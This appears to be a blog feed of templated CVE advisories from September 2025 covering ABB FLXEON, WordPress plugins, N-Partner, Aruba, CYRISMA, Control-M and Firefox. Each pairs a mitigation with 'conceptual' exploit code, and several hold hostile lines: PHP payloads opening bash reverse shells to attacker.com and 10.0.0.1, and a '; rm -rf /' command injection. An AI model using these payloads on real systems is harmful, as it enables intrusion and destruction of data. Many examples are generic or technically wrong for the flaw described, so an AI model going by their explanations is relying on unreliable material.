Author: Ameeba

CVE-2025-10205: One-Way Hash with a Predictable Salt Vulnerability in ABB FLXEON
Overview

In this piece, we delve into the intriguing world of cybersecurity vulnerabilities, focusing on a potent threat identified as CVE-2025-10205. The vulnerability, which affects ABB FLXEON up to and even beyond version 9.3.5, stems from the use of a one-way hash with a predictable salt. This particular issue is a significant concern for institutions using the ABB FLXEON, given the potential system compromise or data leakage that could result from its exploitation. Understanding such vulnerabilities is crucial in today’s digital age, where data integrity and system security are paramount.

Vulnerability Summary

CVE ID: CVE-2025-10205
Severity: High, CVSS score 8.8
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

ABB FLXEON | 9.3.5 and newer versions

How the Exploit Works

The vulnerability occurs due to the use of a predictable salt in a one-way hash function. In encryption, a salt is a piece of data that is used as an additional input to a one-way function that hashes data or password. The addition of the salt provides an extra layer of security. However, if the salt is predictable, it can be easily guessed by an attacker. This flaw enables an attacker to precompute the hash values using a rainbow table attack, significantly reducing the time it takes to crack the hashed values. Successful exploitation allows unauthorized disclosure of information, unauthorized modification, and disruption of service.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request with a potentially malicious payload:
```
POST /login HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "username": "admin", "password_hash": "5f4dcc3b5aa765d61d8327deb882cf99", "salt": "1234" }
```
In this example, the attacker knows the predictable salt (“1234”) and the password hash. Using a rainbow table attack, they can reverse-engineer the hashed password (“5f4dcc3b5aa765d61d8327deb882cf99”), resulting in a potential system compromise.

Mitigation

The primary solution to this vulnerability is applying the vendor patch. In scenarios where this is not feasible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. It’s also important to review and restructure the password hashing mechanism to include a securely generated, random salt. This will significantly reduce the risk of an attacker successfully guessing the salt value.
September 24, 2025
CVE-2025-9216: Arbitrary File Upload Vulnerability in StoreEngine WordPress eCommerce Plugin
Overview

CVE-2025-9216 is a serious security vulnerability identified in the StoreEngine WordPress eCommerce Plugin, which is widely used for Payments, Memberships, Affiliates, Sales & More. The exploit allows authenticated attackers to upload arbitrary files on the server, potentially leading to remote code execution. This is due to deficient file type validation in the import() function. The vulnerability affects all versions of the plugin up to and including 1.5.0. Given the prevalent use of this plugin in the WordPress ecosystem, the potential impact is significant and warrants urgent attention.

Vulnerability Summary

CVE ID: CVE-2025-9216
Severity: High (8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

StoreEngine – Powerful WordPress eCommerce Plugin | Up to and including 1.5.0

How the Exploit Works

The vulnerability stems from inadequate file type validation in the import() function of the StoreEngine WordPress eCommerce Plugin. This oversight allows authenticated attackers with Subscriber-level access and above to upload arbitrary files, including potentially malicious ones, to the server hosting the WordPress site. This file upload capability can be exploited to conduct remote code execution attacks, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This example represents a HTTP request to upload a malicious file:
```
POST /wp-content/plugins/storeengine/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=-------------------------acebdf13572468
---------------------------acebdf13572468
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/8080 0>&1'");?>
---------------------------acebdf13572468--
```
Mitigation Guidance

Users of the StoreEngine WordPress eCommerce Plugin are urged to apply the vendor patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Regularly updating and patching all software, plugins, and themes can help prevent falling victim to such vulnerabilities in the future.
September 24, 2025
CVE-2025-10057: Remote Code Execution Vulnerability in WP Import – Ultimate CSV XML Importer for WordPress Plugin
Overview

This blog post provides an in-depth exploration of the recently discovered vulnerability CVE-2025-10057, which exposes users of the WP Import – Ultimate CSV XML Importer for WordPress plugin to a potential Remote Code Execution (RCE) attack. It affects all WordPress sites using versions up to, and including, 7.28 of the WP Import plugin. This vulnerability matters because it allows attackers with Subscriber-level access to potentially compromise the entire system or even leak sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-10057
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level Access)
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

WP Import | Up to and including 7.28

How the Exploit Works

The WP Import plugin has a function called write_to_customfile() which writes PHP code to a file. This function is vulnerable because it does not filter the PHP code it writes, making it possible for an attacker to inject malicious PHP code. If an authenticated attacker with at least Subscriber-level access successfully exploits this vulnerability, they can manipulate the customFunction.php file, leading to remote code execution.

Conceptual Example Code

This conceptual example demonstrates how an attacker might exploit this vulnerability:
```
<?php
// Attacker injects malicious code into the customFunction.php file
$injection = '<?php exec("/bin/bash -c \'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1\'"); ?>';
write_to_customfile($injection);
?>
```
In this example, the injected code would open a reverse shell to a remote server controlled by the attacker. Once the customFunction.php file is accessed, the injected code is executed, providing the attacker with control over the server.

Mitigation

The most effective way to mitigate this vulnerability is to apply the patch provided by the vendor. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, this should not replace patching the plugin as soon as possible. Regularly updating software and plugins to the latest versions is a crucial part of maintaining a strong security posture.
September 24, 2025
CVE-2025-10589: Critical OS Command Injection Vulnerability in N-Partner’s Software Suite
Overview

A critical security vulnerability has been discovered in the software suite developed by N-Partner; namely, N-Reporter, N-Cloud, and N-Probe. This vulnerability, cataloged as CVE-2025-10589, allows authenticated remote attackers to inject arbitrary operating system commands, leading to potential system compromise or data leakage.
The gravity of this vulnerability resides in its capacity to allow an attacker to gain unauthorized access and control over the affected system. Not only does it pose a direct threat to the integrity and security of the system, but it also exposes sensitive data, which can have far-reaching implications for the victim organization.

Vulnerability Summary

CVE ID: CVE-2025-10589
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

N-Reporter | All versions prior to patch
N-Cloud | All versions prior to patch
N-Probe | All versions prior to patch

How the Exploit Works

The exploitation of this vulnerability involves the injection of arbitrary OS commands by an authenticated user. By interacting with the software’s user interface, an attacker can manipulate certain input parameters that are not properly sanitized before being used in OS command executions. This improper input validation allows an attacker to execute unauthorized commands on the server, leading to a potential system compromise or data leakage.

Conceptual Example Code

An example of how this vulnerability might be exploited is shown below:
```
POST /nreporter/user_input HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"user_input": "; rm -rf /"
}
```
In this example, the malicious user abuses the unsanitized ‘user_input’ field to include an OS command (`rm -rf /`) that would delete all files in the system if executed. The semicolon (`;`) is used to chain commands in most command line interpreters, allowing the attacker to append malicious commands to legitimate ones.

Mitigation and Prevention

The primary recommendation to mitigate this vulnerability is to apply the vendor-provided patch as soon as possible. If immediate patching is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure can help reduce the risk of exploitation. However, these should not be seen as long-term solutions due to their inability to fix the underlying vulnerability.
In addition to applying patches, organizations must also ensure they follow the principle of least privilege. This means limiting the privileges of each user to the minimum needed to perform their job. This measure can help reduce the potential damage that an attacker can make if they manage to exploit this vulnerability.
It’s also advisable to perform regular security audits and penetration testing on your systems. This can help identify and fix weaknesses before they can be exploited by attackers.
Lastly, it’s crucial to keep all software up to date. This includes not only the operating system and applications, but also any plugins, frameworks, or other components that could be targeted by attackers.
September 24, 2025
CVE-2025-37123: High Severity Privilege Escalation Vulnerability in HPE Aruba Networking EdgeConnect SD-WAN Gateways
Overview

In the rapidly evolving landscape of cybersecurity, vulnerabilities can serve as potent weapons in the arsenal of malicious actors. One such vulnerability has been identified in the command-line interface of HPE Aruba Networking EdgeConnect SD-WAN Gateways, designated as CVE-2025-37123. This vulnerability, if successfully exploited, could grant an attacker the ability to execute arbitrary system commands with root privileges on the underlying system, potentially leading to system compromise or data leakage.
This vulnerability is particularly critical as it affects a broad range of enterprises using HPE Aruba’s SD-WAN solutions, which are designed to connect geographically dispersed branch locations over wide area networks. The potential for a privilege escalation attack presents a significant risk to data integrity, system stability, and overall network security.

Vulnerability Summary

CVE ID: CVE-2025-37123
Severity: High (8.8 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

HPE Aruba Networking EdgeConnect SD-WAN Gateways | All versions prior to patch release

How the Exploit Works

The vulnerability lies in the command-line interface of HPE Aruba Networking EdgeConnect SD-WAN Gateways. An authenticated remote attacker can exploit this vulnerability by sending specially crafted commands to the system. These commands could allow an attacker to escalate their privileges to root level on the underlying operating system. Once the attacker achieves root level access, they can execute arbitrary system commands, potentially leading to total system compromise or data leakage.

Conceptual Example Code

Here’s an example of how the vulnerability might be exploited, represented in pseudocode:
```
# Authenticate with the system
login("attacker_username", "attacker_password")
# Send exploit command
send_command("exploit_code")
# If exploit is successful, escalate to root privileges
escalate_privileges("root")
# Execute arbitrary system commands
execute_command("arbitrary_system_command")
```
It’s important to note that this is a conceptual example and the actual exploit would involve the use of specific commands and exploit code, which varies depending upon the system configuration and vulnerability specifics.
September 24, 2025
CVE-2025-56263: Arbitrary File Upload Vulnerability in by-night sms V1.0
Overview

The cybersecurity world is witnessing a new vulnerability, CVE-2025-56263, that affects the by-night sms V1.0 application. This vulnerability is related to an arbitrary file upload flaw that allows users to upload files of any type and size. It exposes the application to potential system compromise or data leakage, which could have drastic consequences for both the application users and the system administrators. Given the CVSS Severity Score of 8.8, it is a high-risk vulnerability that requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-56263
Severity: High (CVSS 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

by-night sms | V1.0

How the Exploit Works

The exploit works by taking advantage of the /api/sms/upload/headImg endpoint in the by-night sms V1.0 application. This endpoint does not have adequate validation checks in place, which allows users to upload arbitrary files to the server. These files could be scripts, executables, or any other type of file that could potentially harm the system or expose sensitive data. This could be done by an attacker with malicious intent to compromise the system or cause data leakage.

Conceptual Example Code

To understand the vulnerability better, here is a conceptual example of how an attacker might exploit the vulnerability. This example uses a HTTP POST request to upload a malicious file to the server.
```
POST /api/sms/upload/headImg HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_file.sh"
Content-Type: application/x-sh
{ "malicious_payload": "..." }
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
In this example, the malicious payload within the “malicious_file.sh” could be a script designed to compromise the system or exfiltrate data.

Mitigation and Recommendations

The best course of action to mitigate this vulnerability is to apply the vendor patch. In case the vendor patch is not yet available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can be configured to block or alert on attempts to upload files via the vulnerable endpoint.
In addition, it’s recommended to regularly update all software and systems. Regular security audits and vulnerability assessments can also help identify such vulnerabilities early and reduce the potential impact on the system.
September 24, 2025
CVE-2025-57625: Critical Insecure Folder and File Permissions Vulnerability in CYRISMA Sensor
Overview

CVE-2025-57625 is a serious security vulnerability that affects CYRISMA Sensor for Windows (versions prior to 444). The vulnerability could allow a low-privileged user to escalate their privileges and execute arbitrary code in the context of NT AUTHORITY\SYSTEM. This can lead to significant system compromise or data leakage. Given the pervasiveness of CYRISMA Sensor in many cybersecurity frameworks, this vulnerability’s potential impact is amplified and warrants immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-57625
Severity: Critical (8.8 CVSS Score)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

CYRISMA Sensor for Windows | Before 444

How the Exploit Works

The exploit takes advantage of insecure folder and file permissions in CYRISMA Sensor for Windows. More specifically, the vulnerability exists because the application allows low-privileged users to replace ‘DataSpotliteAgent.exe’ or any other binaries invoked by the Cyrisma_Agent service when it starts. By replacing these binaries, an attacker can execute arbitrary code with elevated privileges (NT AUTHORITYSYSTEM), leading to potential system compromise or data leakage.

Conceptual Example Code

Given the nature of this vulnerability, the attack would likely be carried out locally on the system, and thus, a specific HTTP request does not apply. However, the below pseudocode provides a conceptual example of how the exploit might be carried out:
```
# Assume the attacker has low-level access to the system
$ cd /path/to/CYRISMA/Agent/Binaries
$ cp /path/to/malicious/binary DataSpotliteAgent.exe
# Next time the Cyrisma_Agent service restarts, it will execute the malicious binary
```
It’s important to note that this is a simplified example. In practice, exploiting this vulnerability would require more detailed knowledge of the CYRISMA Sensor and its operating environment.

Mitigation Guidance

The recommended mitigation for this vulnerability is to apply the vendor’s patch. For those who cannot immediately apply the patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may serve as temporary mitigation. However, these are not long-term solutions, and users should apply the patch as soon as feasible.
September 24, 2025
CVE-2025-55116: Buffer Overflow Vulnerability Leading to Privilege Escalation
Overview

Cybersecurity threats are continually evolving, and one such threat that has been identified recently is the CVE-2025-55116 vulnerability. This security flaw is a buffer overflow vulnerability found in the Control-M/Agent, which can lead to a local privilege escalation if an attacker gains access to the system running the Agent. This vulnerability is significant as it can potentially compromise the entire system or lead to data leakage. Given the severity of the potential impact, it’s essential to understand the nature of this vulnerability, its effects, and the mitigation measures available.

Vulnerability Summary

CVE ID: CVE-2025-55116
Severity: High (CVSS: 8.8)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Control-M/Agent | 9.0.18 to 9.0.20 and potentially earlier unsupported versions

How the Exploit Works

The vulnerability is caused by a buffer overflow in the Control-M/Agent. A buffer overflow occurs when more data is put into a buffer or holding area than the buffer can handle. This over-run of data can overwrite other data values or even execute malicious commands. In this case, an attacker with access to the system running the Agent can exploit this vulnerability to escalate their privileges within the system, potentially gaining full control over the affected system or leading to data leakage.

Conceptual Example Code

The following is a conceptual representation of how the vulnerability might be exploited. This is not a working example but meant to illustrate the potential exploit.
```
$ ./controlm_agent -buffer_overflow `perl -e 'print "A"x1024'`
```
In this example, the command is running the Control-M/Agent with a buffer_overflow option followed by a string of “A” characters that is longer than what the buffer can handle, potentially leading to a buffer overflow and privilege escalation.

Recommended Mitigation

It is recommended to apply the vendor patch to mitigate this vulnerability. If the patch cannot be applied immediately, a temporary mitigation strategy can be the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent exploitation of this vulnerability. However, these are not long-term solutions and the vendor patch should be applied as soon as possible to fully secure the system.
September 23, 2025
CVE-2025-55115: Path Traversal Leading to Local Privilege Escalation in Control-M/Agent
Overview

The vulnerability CVE-2025-55115 is a severe security flaw that affects the Control-M/Agent software. As a cybersecurity expert, it’s critical to understand the impact of this vulnerability, how it can be exploited, and the potential consequences of an attack. With a CVSS severity score of 8.8, this vulnerability could lead to serious security breaches, including system compromise or data leakage.
Because the vulnerability affects out-of-support versions of Control-M/Agent, many systems may be at risk. This is particularly a concern for organizations that have not updated their software to the latest versions or are using legacy systems. It is critical for these organizations to understand the risks they face and take appropriate action to mitigate them.

Vulnerability Summary

CVE ID: CVE-2025-55115
Severity: High (8.8 CVSS Score)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Control-M/Agent | 9.0.18 to 9.0.20

How the Exploit Works

The vulnerability exists due to improper path traversal in the Control-M/Agent. An attacker with low-level privileges on the system can exploit this flaw to escalate their privileges to a higher level. This is done by manipulating file paths to access restricted directories. If successful, the attacker could gain unauthorized control over the system, leading to potential system compromise or data leakage.

Conceptual Example Code

To visualize how an exploitation might occur, consider the following pseudocode:
```
# Attacker gains low-level access to system
$ login -u lowpriv -p password
# Attacker uses path traversal to access restricted directory
$ cd ../../restricted_directory
# Attacker escalates privileges
$ sudo su - root
```
In this example, the attacker uses their low-level access to traverse the file system to a restricted directory. From there, they escalate their privileges to gain full control over the system.

Mitigation

To mitigate this vulnerability, it is recommended to apply the vendor patch, specifically version 9.0.20.100 and above for Control-M/Agent. If the patch cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these solutions do not completely eliminate the risk and should be used in conjunction with updating the software to a secure version as soon as possible.
September 23, 2025
CVE-2025-10537: Critical Memory Safety Bug in Firefox and Thunderbird
Overview

The cybersecurity landscape is fraught with ever-emerging threats and vulnerabilities. One such vulnerability that has recently been discovered is CVE-2025-10537. This vulnerability affects multiple versions of Firefox and Thunderbird, two of the most widely used open-source web and email client applications, respectively. This vulnerability is of high significance due to the potential for system compromise or data leakage, especially given the global user base of these applications.

Vulnerability Summary

CVE ID: CVE-2025-10537
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Firefox | < 143 Firefox ESR | < 140.3 Thunderbird | < 143 Thunderbird ESR | < 140.3 How the Exploit Works

CVE-2025-10537 is a memory safety bug present in multiple versions of Firefox and Thunderbird. Memory safety bugs occur when software does not correctly implement memory management, leading to unexpected behaviors such as crashes, incorrect computations, or even allowing attackers to execute arbitrary code.
In this case, some of these bugs showed evidence of memory corruption, which typically happens when a program oversteps the boundaries of a buffer, leading to the corruption of valuable data or control information. We presume that with enough effort some of these could have been exploited to run arbitrary code. This means an attacker could potentially take control of the system running these applications or access sensitive data.

Conceptual Example Code

While the exact exploit for CVE-2025-10537 is not known, it would likely involve sending a specially crafted packet of data to the vulnerable application that triggers the memory safety bug. The following is a conceptual example of a malicious HTTP request:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." }
```
In this example, the ‘A’s represent overflow data that could potentially trigger the memory safety bug. If successful, it could allow the attacker to run arbitrary code on the affected system.

Mitigation Guidance

The most effective mitigation for CVE-2025-10537 is to apply the vendor-supplied patch. This patch should be applied as soon as possible to reduce the window of vulnerability. For systems where immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may provide temporary mitigation. However, these are not long-term solutions and can only limit the impact of an exploit, not prevent it.
September 23, 2025